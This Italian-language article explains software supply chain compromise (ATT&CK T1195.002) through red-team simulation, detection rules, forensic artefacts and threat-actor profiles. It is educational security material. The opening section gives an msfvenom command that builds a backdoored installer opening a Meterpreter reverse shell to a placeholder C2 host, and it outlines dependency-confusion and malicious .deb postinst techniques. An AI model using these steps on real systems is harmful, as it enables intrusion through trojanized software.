Avvelenare il Software alla Fonte: Compromise Software Supply Chain (T1195.002)

Simulare un attacco supply chain in laboratorio richiede di riprodurre la catena: build pipeline compromesso → artefatto alterato → distribuzione → esecuzione con beacon C2. L'obiettivo non è colpire un vendor reale, ma dimostrare al cliente quanto sia fragile la fiducia implicita nel software firmato e distribuito internamente.

Il primo passo è creare un installer trojanizzato. Puoi partire da un binario legittimo e iniettare uno shellcode con msfvenom (open source, parte di Metasploit Framework). Il comando classico per produrre un eseguibile Windows con un payload Meterpreter embedded è:

msfvenom -p windows/meterpreter/reverse_https LHOST=<IP_C2> LPORT=443 -x <installer_originale.exe> -k -f exe -o installer_backdoored.exe

Il flag -x specifica il template eseguibile legittimo, -k mantiene il comportamento originale del programma in un thread separato. Il risultato è un installer che funziona normalmente ma apre una sessione verso il tuo listener C2.

Per scenari più sofisticati — dove il target è un pacchetto Python o Node distribuito via package manager — puoi simulare un dependency confusion attack. Crea un pacchetto con lo stesso nome di una libreria interna del cliente su un repository pubblico e inserisci un payload nel setup.py o nel postinstall script. Lo strumento Dependency-Check di OWASP (open source) può essere usato dal lato difensivo per verificare la presenza di dipendenze vulnerabili, ma durante il red team ti serve per identificare nomi di pacchetti interni esposti.

Lato macOS, simula un'app trojanizzata confezionandola come bundle .app con un eseguibile Mach-O modificato. Puoi usare Mythic (open source) come framework C2 per generare agent compatibili macOS e inserirli all'interno di un'applicazione apparentemente legittima.

Per rendere la simulazione realistica, firma il binario alterato con un certificato auto-emesso e distribuiscilo tramite un server web interno che mima il sito del vendor. Usa Caddy (open source) o nginx (open source) per servire la pagina di download. Il punto critico da dimostrare è la finestra temporale tra il download e la detection: se il SOC non ha alert sul code-signing o sull'integrità degli hash, il beacon parte indisturbato.

Su Linux, un approccio efficace è alterare un pacchetto .deb estraendolo con dpkg-deb -R, inserendo uno script di post-installazione malevolo in DEBIAN/postinst, e ricostruendolo con dpkg-deb -b. Il pacchetto risultante si installa con dpkg -i senza errori visibili.

Rilevare una supply chain compromise è complesso perché l'esecuzione iniziale avviene nel contesto di un software legittimo, spesso firmato e atteso dall'utente. La detection deve quindi essere comportamentale e correlata, non basata su singoli eventi.

La strategia di rilevamento ruota attorno a una catena di quattro fasi da correlare entro una finestra temporale di 90 minuti: scrittura/sostituzione del binario da parte di un installer o updater → primo avvio del nuovo eseguibile → generazione di processi figli anomali (script interpreters, shell, DLL non firmate) → connessione in uscita verso host non presenti nella allow-list dei CDN di aggiornamento del vendor.

Su Windows, le log source fondamentali sono Sysmon (open source), il canale Microsoft-Windows-CodeIntegrity/Operational e i flussi di rete (NSM). In Sysmon, concentra l'attenzione su EventCode 1 (process creation) per i processi figli di installer come msiexec.exe, setup.exe o servizi di aggiornamento vendor, e su EventCode 11 (file create) per scritture in C:\Program Files, C:\ProgramData e %LOCALAPPDATA%. Un alert efficace correla la creazione di file in queste directory con un EventCode 3 (network connection) verso IP esterni non appartenenti alla lista approvata di endpoint di aggiornamento. Il canale CodeIntegrity segnala binari con firma invalida o revocata — un indicatore chiave quando l'avversario non riesce a riutilizzare la firma originale del vendor.

Il tuning è cruciale per ridurre i falsi positivi. Tre elementi da configurare con precisione:

• ApprovedUpdateHosts: allow-list dei domini e IP dei CDN di aggiornamento ufficiali, inclusi eventuali proxy o cache aziendali
• ApprovedSigners: lista dei publisher autorizzati per code-signing nei percorsi monitorati
• ProgramPaths: scope delle directory monitorate, limitato alle location di installazione effettive

Su Linux, la correlazione equivalente si basa su auditd (SYSCALL) e journald per i log dei package manager. Monitora l'esecuzione di dpkg, rpm, yum, apt seguita da scritture in /usr/local/bin, /usr/bin, /opt o ~/.local/bin, e poi da processi figli che invocano curl, wget o shell interattive. L'allow-list dei repository APT/YUM e le chiavi GPG autorizzate sono l'equivalente Linux degli ApprovedSigners.

Su macOS, i log AMFI e Gatekeeper nel Unified Log segnalano problemi di firma o notarizzazione — un segnale prezioso quando un'app apparentemente nota fallisce la verifica. Correla questi eventi con connessioni in uscita verso domini sconosciuti entro la stessa finestra temporale, filtrando per Team ID Apple approvati dall'organizzazione.

L'analisi forense di una supply chain compromise presenta una sfida peculiare: il vettore di ingresso è un software che l'utente aveva ragione di installare. La timeline deve quindi dimostrare che il binario eseguito non era quello distribuito originariamente dal vendor, o che il meccanismo di aggiornamento è stato deviato.

Il primo artefatto da acquisire è il file stesso. Calcola gli hash SHA-256 dell'eseguibile installato e confrontali con quelli pubblicati dal vendor o con repository di hash noti come il servizio CIRCL hashlookup o il portale VirusTotal (freemium). Se l'hash non corrisponde alla release ufficiale, hai la prima evidenza di manomissione. Per i binari firmati su Windows, verifica la catena di certificati con Sigcheck di Sysinternals (gratuito):

sigcheck -a -h <percorso_eseguibile>

L'output mostra il publisher, la validità della firma e l'hash. Nel caso di CCBkdr, il binario compromesso della versione 5.33 di CCleaner manteneva la firma valida del vendor — un dettaglio che rende indispensabile il confronto hash, non solo la verifica di firma. Analogamente, SUNSPOT operava all'interno del processo di build di SolarWinds Orion, producendo binari legittimamente firmati ma contenenti SUNBURST.

Su Windows, ricostruisci la sequenza temporale partendo dal file system. Le MFT entries ($MFT) e il journal USN (fsutil usn readjournal C:) rivelano quando i file nelle directory di installazione sono stati creati o sovrascritti. Correla questi timestamp con gli Amcache e lo Shimcache per determinare la prima esecuzione del binario compromesso. Le Prefetch files (C:\Windows\Prefetch) confermano quante volte il binario è stato eseguito e quali DLL ha caricato.

Per identificare il beacon C2, analizza i log di connessione di rete. In ambienti con Sysmon, EventCode 3 registra le connessioni TCP/UDP originate dal processo compromesso. I log DNS (Sysmon EventCode 22 o DNS debug logging) rivelano le query verso i domini C2. Nella campagna SolarWinds Compromise, il beacon di SUNBURST contattava un sottodominio generato algoritmicamente sotto avsvmcloud[.]com — un pattern ricostruibile attraverso passive DNS.

Su Linux, gli artefatti chiave sono i log di auditd per le syscall execve relative al binario compromesso, i file .bash_history per eventuali esecuzioni manuali, e i timestamp ext4 (ctime, mtime, atime) sui file in /opt o /usr/local/bin. I log di systemd-journald mostrano l'attività dei servizi installati dal pacchetto compromesso.

Nella 3CX Supply Chain Attack, la catena forense è particolarmente istruttiva: l'artefatto iniziale era un software di trading (X_Trader) scaricato da un dipendente. L'analista deve ricostruire il percorso dal download del primo installer trojanizzato fino alla compromissione degli ambienti di build 3CX, tracciando i movimenti laterali attraverso artefatti di autenticazione e log di accesso ai sistemi CI/CD.

La supply chain software è un vettore trasversale: lo adottano gruppi con capacità e obiettivi molto diversi, dal cybercrime finanziario allo spionaggio statale. Profilare chi lo utilizza aiuta a prevedere quali settori e quali tipologie di software sono a rischio.

APT41 rappresenta l'archetipo dell'operatore dual-use: accesso ad ambienti di produzione per iniettare codice malevolo in file legittimi firmati e distribuirli su larga scala. La capacità di operare all'interno della pipeline di build — non semplicemente di sostituire un file su un server di download — indica un livello di accesso e persistenza nei sistemi del vendor che richiede mesi di preparazione. L'overlap tra motivazioni di spionaggio e profitto finanziario rende APT41 imprevedibile nella selezione dei target.

Sandworm Team ha utilizzato la supply chain per operazioni distruttive su scala nazionale, compromettendo il software contabile ucraino M.E.Doc per distribuire NotPetya. Questo caso dimostra come la scelta del software da trojanizzare sia strategica: un'applicazione obbligatoria per la dichiarazione fiscale garantisce penetrazione capillare nel tessuto economico del paese bersaglio.

GOLD SOUTHFIELD ha adottato un approccio diverso ma efficace: il strategic web compromise del sito che ospitava WinRAR in versione italiana, per distribuire ransomware tramite installer backdoored. Qui il targeting è geografico e opportunistico, non mirato a organizzazioni specifiche.

Daggerfly si distingue per l'uso ricorrente di aggiornamenti software malevoli come vettore di compromissione, suggerendo una specializzazione operativa in questo tipo di accesso iniziale. Moonstone Sleet ha invece trojanizzato una versione di PuTTY — un client SSH diffusissimo tra amministratori di sistema — puntando a un target demografico tecnico con accessi privilegiati.

Il caso FIN7 conferma che anche gruppi a vocazione finanziaria investono nella supply chain quando il rapporto costo-beneficio è favorevole. Cobalt Group ha compromesso aggiornamenti legittimi di browser web per distribuire backdoor, mentre Dragonfly ha piazzato installer trojanizzati su app store di vendor di sistemi di controllo industriale — un targeting chirurgico verso il settore energetico. Threat Group-3390 ha compromesso l'installer di Able Desktop per accedere agli ambienti delle vittime.

Due pattern emergono con chiarezza. Il primo è la cascata: la campagna 3CX (C0057) ha dimostrato che una supply chain compromise può innescare una seconda compromissione a catena — il primo caso pubblicamente documentato di questo tipo. Il secondo è la selettività post-distribuzione: sia nella campagna SolarWinds (C0024) sia in quella 3CX, il malware raggiungeva migliaia di endpoint ma i payload secondari venivano distribuiti solo a vittime selezionate nei settori difesa, governo e criptovalute.

Framework MITRE ATT&CK v16 — T1195.002, TA0001, campagne C0024 (SolarWinds Compromise), C0057 (3CX Supply Chain Attack). Mitigazioni M1051, M1016. Tool di detection: Sysmon, auditd, Sigcheck, Sigcheck di Sysinternals. Integrato con conoscenza professionale per tool e procedure operative.